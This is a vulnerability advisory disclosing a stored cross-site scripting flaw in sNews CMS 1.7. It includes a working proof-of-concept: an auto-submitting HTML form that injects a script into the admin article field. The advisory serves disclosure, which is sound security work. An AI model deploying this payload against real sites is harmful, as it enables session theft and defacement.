Vulnerability ID: HTB22637 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_snews.html Product: sNews Vendor: sNews Team ( http://www.snewscms.com/ ) Vulnerable Version: 1.7 and probably prior versions Vendor Notification: 05 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "snews.php" script to properly sanitize user-supplied input in "text" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/?action=process&task=admin_article&id=2"; method="post" name="main" > <input type="hidden" name="title" value="article title" /> <input type="hidden" name="seftitle" value="sefurl" /> <input type="hidden" name="text" value='article text"><script>alert(document.cookie)</script>' /> <input type="hidden" name="define_category" value="1" /> <input type="hidden" name="publish_article" value="on" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="description_meta" value="desc" /> <input type="hidden" name="keywords_meta" value="key" /> <input type="hidden" name="display_title" value="on" /> <input type="hidden" name="display_info" value="on" /> <input type="hidden" name="fposting_day" value="29" /> <input type="hidden" name="fposting_month" value="9" /> <input type="hidden" name="fposting_year" value="2010" /> <input type="hidden" name="fposting_hour" value="16" /> <input type="hidden" name="fposting_minute" value="40" /> <input type="hidden" name="task" value="admin_article" /> <input type="hidden" name="edit_article" value="Edit" /> <input type="hidden" name="article_category" value="1" /> <input type="hidden" name="id" value="2" /> </form> <script> document.main.submit(); </script>
